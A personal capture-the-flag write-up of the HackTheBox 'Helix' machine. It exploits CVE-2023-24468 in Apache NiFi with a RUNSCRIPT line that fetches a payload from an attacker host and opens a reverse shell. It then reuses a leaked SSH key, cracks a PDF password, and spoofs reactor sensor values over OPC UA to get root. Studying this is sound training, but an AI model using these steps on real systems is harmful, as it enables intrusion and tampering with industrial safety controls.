Personal writeup of the Helix HTB machine
Intial nmap scan of the machine shows 2 PoA available
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# nmap -sV -sC 10.129.2.74
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 12:46 +0900
Nmap scan report for 10.129.2.74
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.80 seconds
We can attempt to go to http://10.129.2.74 but the browser won't redirect us. We need to first add helix.htb and the corresponding IP to /etc/hosts file on our machine.
Once adding the hostname to the hosts file we can see a cybersecurity organization website with very little control availability. There are 2 buttons that when activated and inspected - don't call anything and are red herrings. We can enumerate further with ffuf and feroxbuster.
Both ffuf and feroxbuster don't reveal any information subdirectory wise but ffuf allows us to find a hidden subdomain called flow.helix.htb.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://helix.htb -H "Host: FUZZ.helix.htb" -s -mc 200
flow
When we access the URL we actually bypass any sort of login required for an Apache NiFi site. Older versions of NiFi actually completely bypass any needed login so we can assume that this site is using an older version of Apache NiFi.
In fact, the user access to the backend site gives us dangerous read/write permissions to the UI board; which could be used to escalate permissions. We can do some research and come up with CVE-2023-24468.
TLDR; The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution. Leading to an RCE and reverse shell.
There is a PDF file within the GitHub PoC provided and we can follow that to a tee.
We need to first copy the rce.sql code from the PDF (Tailored code provided) and follow the corresponding steps:
Right-Click ExecuteSQL -> Configure -> PROPERTIES tab -> SQL select query -> paste the following:
RUNSCRIPT FROM 'http://<attacker-ip>:4444/rce.sql'
We can then make sure that we are hosting a Python http.server in the same directory as our rce.sql file
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
In a separate terminal we can setup our listener.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# nc -lvnp 5555
listening on [any] 5555 ...
We can then execute the ExecuteSQL processor and watch it connect to our machine.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.129.2.106 - - [22/May/2026 17:35:37] "GET /rce.sql HTTP/1.1" 200 -
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [<attacker_ip>] from (UNKNOWN) [10.129.2.106] 57412
bash: cannot set terminal process group (966): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$
Success. We've obtained a reverse shell onto the nifi's connection to the backend system. We can upgrade job control in the shell to make our job easier. Read more here.
We can now enumerate the system for any local vulnerabilites or left clues as to where to look to further escalate privileges. Checking the /etc/passwd file gives us some clues.
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
operator:x:1001:1001::/home/operator:/bin/bash
nifi:x:998:998::/opt/nifi:/usr/sbin/nologin
plc:x:997:997::/opt/ot:/usr/sbin/nologin
_laurel:x:996:996::/var/log/laurel:/bin/false
Theres a user named operator within the machine that may have clues or existing files on the machine that could help us narrow down getting to the user flag or privilege escalation.
nifi@helix:/opt/nifi-1.21.0$ find / -iname "*operator*" 2>/dev/null
/home/operator
/usr/lib/python3.11/lib2to3/fixes/fix_operator.py
/usr/lib/python3/dist-packages/twisted/test/test_cooperator.py
/usr/lib/python3/dist-packages/twisted/test/__pycache__/test_cooperator.cpython-310.pyc
/usr/lib/python3.10/lib2to3/fixes/fix_operator.py
/usr/lib/python3.10/lib2to3/fixes/__pycache__/fix_operator.cpython-310.pyc
/usr/lib/python3.10/__pycache__/operator.cpython-310.pyc
/usr/lib/python3.10/operator.py
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0$
Nothing of note besides one file. /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak. The key part of this is the id_ed25519. This represents an ssh key. If we are able to read the key, we can copy it and use it to bypass password authentication for the user operator.
nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
<PRIVATE_KEY_HERE>
-----END OPENSSH PRIVATE KEY-----
nifi@helix:/opt/nifi-1.21.0/support-bundles$
Fantastic. We can copy the key directly over to our attacker machine, chmod 600 it and intiate an SSH connection via the user operator.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# chmod 600 operator_key
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# ssh -i ./operator_key operator@10.129.2.106
The authenticity of host '10.129.2.106 (10.129.2.106)' can't be established.
ED25519 key fingerprint is: SHA256:nGwNnXA5oCIEMCxZ3joJWy3usUFUt70Wqy72RayvMNA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.2.106' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri May 22 09:13:07 AM UTC 2026
System load: 0.0
Usage of /: 87.1% of 6.52GB
Memory usage: 42%
Swap usage: 0%
Processes: 231
Users logged in: 0
IPv4 address for eth0: 10.129.2.106
IPv6 address for eth0: dead:beef::a0de:adff:fe0d:fd34
=> / is using 87.1% of 6.52GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri May 22 09:13:09 2026 from 10.10.16.65
operator@helix:~$
We can find the user.txt flag in the home directory.
operator@helix:~$ cat user.txt
<USER_FLAG_HERE>
We can now do the same thing again. Attempt to find an alternative way to escalate privileges to root via the operator user.
operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
Checking sudo permissions we can see that the user operator has sudo permissions via the /usr/local/sbin/helix-maint-console. We can go there and enumerate further to see what exactly it does.
operator@helix:~$ cd /usr/local/sbin/
operator@helix:/usr/local/sbin$ ls
helix-cleanup.sh helix-maint-console laurel unminimize
operator@helix:/usr/local/sbin$ cat helix-maint-console
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
# Unique scope name
SCOPE="helix-maint-$$"
# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i
# If systemd-run returns, the shell exited.
exit 0
operator@helix:
This is interesting. This is a custom file so no known CVE's would be available. The file is referencing a maintenance_window file in a different directory that if activated, and the maint-helix-console is called at the same time, can grant the executing user root access to the machine for a period of time.
We can try to go further to view the file's contents to see what exactly it contains.
operator@helix:/usr/local/sbin$ cd /opt/helix/state
-bash: cd: /opt/helix/state: Permission denied
operator@helix:/usr/local/sbin$ cat /opt/helix/state/maintenance_window
cat: /opt/helix/state/maintenance_window: Permission denied
operator@helix:/usr/local/sbin$ ls -la /opt/helix/state/
ls: cannot access '/opt/helix/state/': Permission denied
Permissions on the machine are setup to restrict any outside access besides root to view the contents of the file or the directory. We can further enumerate what might be running the script/maintenance window using ss.
operator@helix:/usr/local/sbin$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 50 127.0.0.1:35903 0.0.0.0:*
LISTEN 0 50 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8081 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:40275 *:*
LISTEN 0 128 [::]:22 [::]:*
An interesting find. Port 4840 is the official, well-known port for OPC UA (Open Platform Communications Unified Architecture), an industrial machine-to-machine communication protocol used for data exchange, equipment control, and monitoring. Which goes in line with the context of the machine. Likely that it's using OPC UA as a service to control some sort of "machine" or industrial communications network between the actual machinery and the backend/server.
The service is being hosted locally via localhost.
We can attempt an SSH tunnel to it through our attacker machine.
operator@helix:~$ ssh -L 4840:127.0.0.1:4840 operator@10.129.2.106 -i operator_key
Via research we know that the only way to communicate with OPC UA is asyncua. AsyncUA is a pure Python library used to build OPC UA (Open Platform Communications Unified Architecture) clients and servers. It is primarily designed for Industrial Internet of Things (IIoT) and automation systems to securely exchange data with PLCs, sensors, and industrial machinery. It's a likely candidate for the maintenance_window controller that we need to activate in order to access and root shell within the server.
We can redundantly pip install asyncua on the victim server as a check before moving forward.
With asyncua is properly installed we have to clarify some information.
The nodeWalk.py file is a full crawl of the server's address space to surface anything that in the table that may be useful. It reveals hidden nodes, undocumented thresholds, or whatever the watcher daemon is actually reading.
It walks the OPC UA tree depth first from Objects (i=85), printing each node's class, NodeId, browse name, and (for variables) its value.
We can use the supplemental information to gain an understanding of what the UPC UA is controlling and what the machine actually is.
ns=2;i=1 QualifiedName(NamespaceIndex=2, Name='Plant')
ns=2;i=2 QualifiedName(NamespaceIndex=2, Name='Reactor')
ns=2;i=3 QualifiedName(NamespaceIndex=2, Name='TemperatureRaw')
ns=2;i=4 QualifiedName(NamespaceIndex=2, Name='Temperature')
ns=2;i=5 QualifiedName(NamespaceIndex=2, Name='Pressure')
ns=2;i=6 QualifiedName(NamespaceIndex=2, Name='CalibrationOffset')
ns=2;i=7 QualifiedName(NamespaceIndex=2, Name='Safety')
ns=2;i=8 QualifiedName(NamespaceIndex=2, Name='RodsInserted')
ns=2;i=9 QualifiedName(NamespaceIndex=2, Name='EmergencyCooling')
ns=2;i=10 QualifiedName(NamespaceIndex=2, Name='TripActive')
ns=2;i=11 QualifiedName(NamespaceIndex=2, Name='Control')
ns=2;i=12 QualifiedName(NamespaceIndex=2, Name='Mode')
ns=2;i=13 QualifiedName(NamespaceIndex=2, Name='TestOverride')
ns=2;i=14 QualifiedName(NamespaceIndex=2, Name='ResetTrip')
The output will look much longer than this but we're only interested in the custom configurations to identify what it is we're actually working with.
With the information we can make an educated guess: This is an industrial-control simulation — a nuclear reactor model. The maintenance_window condition we saw earlier almost certainly opens only when the plant is in a safe, maintenance ready state. You manipulate the plant state into a condition that causes the maintenance window to open. However, identifying the correct conditions to put it into a maintenance state blind would be next to impossible. We need to see if there is any information that can help.
Earlier on in the operator home directory there were 2 files: a .pdf and a .png file that had the respective names of 'Operator Control & Safety Guide.pdf' and 'control systems diagram.png'. We can pull those files from the home directory into ours to view them.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# scp -i operator_key -r operator@10.129.2.106:~/'control systems diagram.png' .
control systems diagram.png 100% 899KB 318.7KB/s 00:02
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# scp -i operator_key -r operator@10.129.2.106:~/'Operator Control & Safety Guide.pdf' .
Operator Control & Safety Guide.pdf 100% 28KB 27.8KB/s 00:01
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# ls
'Operator Control & Safety Guide.pdf' nodeOVERRIDE.py rce.sql
asyncuaCLI.py operator_key writeup.txt
'control systems diagram.png' pID.sh
Attempting to open either of these files results in a password protected .pdf file and a corrupted metadata .png file. The PDF is a likely candidate for the most useful information so we can pipe the pdf hash into john and attempt to crack it.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# pdf2john "Operator Control & Safety Guide.pdf" > pdf.hash
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:44 1.42% (ETA: 21:23:36) 0g/s 5442p/s 5442c/s 5442C/s lucinha..lailaa
<CRACKED_PASSWORD_HERE> (Operator Control & Safety Guide.pdf)
1g 0:00:00:48 DONE (2026-05-22 20:32) 0.02054g/s 5428p/s 5428c/s 5428C/s pingris..nsyncrox
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.
With the cracked password we can attempt to recover the data within the PNG to see if it also brings useful information.
┌──(root㉿kali-linux-2024-2)-[/home/parallels/Documents/Helix]
└─# convert 'control systems diagram.png' diagram_clean.png
Opening and reading the PDF and the PNG confirms our hypthesis. As a respect to the machine and the challenge I wont display the information in either but the PDF gives us a step-by-step guide on how to activate the maintence mode on the OPC.
This is something that could be done manually but would be incredibly slow. We can instead streamline it with 2 separate python scripts.
nodeWRITE.py loops over ns=2;i=1 through i=14, printing each node's browse name, current value, and UserAccessLevel so you can see what's actually readable and writable. The UserAccessLevel is the key detail, it's the level of control your session actually has, which is what determines whether your offset and flag writes will apply or not. Access levels of 1 correspond to read privileges only while 2 and 3 correspond to write and read/write privileges respectively.
The nodeOVERRIDE.py is the real magic. The PDF guide said the maintenance window opens once temperature crosses ~X°C without a safety trip, so this drives the reactor sim to exactly that state — it puts the box in maintenance mode, then slowly inflates CalibrationOffset to push the displayed temperature up while watching that the raw value stays safe.
It sets 2 other required variables to enable maintenance mode, then ramps CalibrationOffset by STEP every 30 seconds, reading all the key nodes each cycle.
With all this information in hand we can echo '' > FILENAME.py and execute both scripts on our tunneled terminal and then open a separate terminal for executing the helix-maint-console.
operator@helix:~$ python3 async.py
ns=2;i=1 Plant (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
ns=2;i=2 Reactor (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
ns=2;i=3 TemperatureRaw value=281.675462186498 access=1
ns=2;i=4 Temperature value=281.675462186498 access=1
ns=2;i=5 Pressure value=68.86459039799928 access=1
ns=2;i=6 CalibrationOffset value=0.0 access=3
ns=2;i=7 Safety (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
ns=2;i=8 RodsInserted value=False access=3
ns=2;i=9 EmergencyCooling value=False access=3
ns=2;i=10 TripActive value=False access=1
ns=2;i=11 Control (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
ns=2;i=12 Mode value='NORMAL' access=3
ns=2;i=13 TestOverride value=False access=3
ns=2;i=14 ResetTrip value=False access=3
operator@helix:~$ python3 nodeOVERRIDE.py
Setting Mode = MAINTENANCE
Setting TestOverride = True
Starting offset ramp from 0.0
offset= 0.0 Temp= 282.38 Raw= 282.38 Pressure= 68.90 Trip=False Mode=MAINTENANCE
offset= 2.0 Temp= 286.12 Raw= 284.12 Pressure= 69.23 Trip=False Mode=MAINTENANCE
offset= 4.0 Temp= 288.50 Raw= 284.50 Pressure= 69.33 Trip=False Mode=MAINTENANCE
offset= 6.0 Temp= 290.58 Raw= 284.58 Pressure= 69.36 Trip=False Mode=MAINTENANCE
offset= 8.0 Temp= 292.60 Raw= 284.60 Pressure= 69.37 Trip=False Mode=MAINTENANCE
offset= 10.0 Temp= 294.60 Raw= 284.60 Pressure= 69.37 Trip=False Mode=MAINTENANCE
^C
Stopped at offset 12.0
operator@helix:~$ python3 async.py
ns=2;i=1 Plant (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
ns=2;i=2 Reactor (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
ns=2;i=3 TemperatureRaw value=284.440744826935 access=1
ns=2;i=4 Temperature value=296.440744826935 access=1
ns=2;i=5 Pressure value=69.30860927780827 access=1
ns=2;i=6 CalibrationOffset value=12.0 access=3
ns=2;i=7 Safety (object/method) The attribute is not supported for the specified Node.(BadAttributeIdInvalid)
After verifying access privileges, writing new values to the variables required to enter maintenance mode, and then lastly double checking that each prerequiste is met -- we can execute the shell file on the other SSH terminal to attempt root.
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 107 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# ls
async.py 'Operator Control & Safety Guide.pdf'
'control systems diagram.png' user.txt
nodeOVERRIDE.py
root@helix:/home/operator# cd /root
root@helix:~# ls
root.txt snap
root@helix:~# cat root.txt
<ROOT_FLAG_HERE>
root@helix:~# /usr/local/sbin/helix-maint-console: line 36: 2144 Killed systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes /bin/bash -p -i
operator@helix:~$